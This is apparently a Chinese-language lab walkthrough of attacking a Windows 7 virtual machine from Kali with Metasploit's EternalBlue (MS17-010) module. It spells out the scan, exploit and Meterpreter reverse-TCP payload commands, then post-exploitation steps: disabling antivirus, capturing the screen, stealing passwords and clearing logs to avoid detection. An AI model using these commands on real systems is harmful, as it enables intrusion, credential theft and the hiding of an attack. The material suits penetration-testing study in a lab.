win7虚拟机? ? ? ? ip
kali ip：
?采用nat的桥接模式：保证kali和win7能够通信
? ??nmap -sS -A? ? ? ? ? win7ip? ??(查看攻击对象win7所开放的所有端口）
msfconsole（启动渗透框架）? 看到某个图案的这个渗透框架就运行了?
使用方法
????进入框架：msfconsole
????使用search命令查找相关漏洞：?search??ms17-010
????使用use进入模块:??use?exploit/windows/smb/ms17_010_eternalblue???
????使用info查看模块信息：?info?
????设置攻击载荷：set?payload?windows/x64/meterpreter/reverse_tcp
????查看模块需要配置的参数：show?options
????设置参数：set??RHOST??192.168.125.138
????攻击：exploit?/??run?
????后渗透阶段?
msfconsole?(查看ms17_010模块工具）
? ? ? 选择攻击模块:
这里可以得到两个工具，其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞
exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码，一般配合使用，前者先扫描，若显示有漏洞，再进行攻击use? ? ? ? ? ? ? ? ? exploit/windows/smb/ms17_010_eternalblue? (使用攻击模块)
使用模块
search payload? ? ? ? ? ? 搜索攻击载荷??payload（用来查看攻击对象返回信息）
??
设置攻击载荷? ??设置一个反弹信息(渗透攻击后的查看被攻击对象返回的信息)
set payload windows/x64/meterpreter/reverse_tcp?show options （显示配置选项）
set Rhosts 攻击对象ip (设置被攻击主机地址）
?exploit? ?攻击? (攻击成功)
?攻击成功后可以对被攻击对象做一些操作:? 如关闭杀毒软件，进入终端，窃取屏幕，获取用户密码等
? ?关闭杀毒软件
窃取win7虚拟机的屏幕(屏幕共享)
结果:
?窃取win7的某个用户密码
窃取密码
? ? ? ? 渗透完成后，把需要的事干完了，清除日志(让win7发现不了)
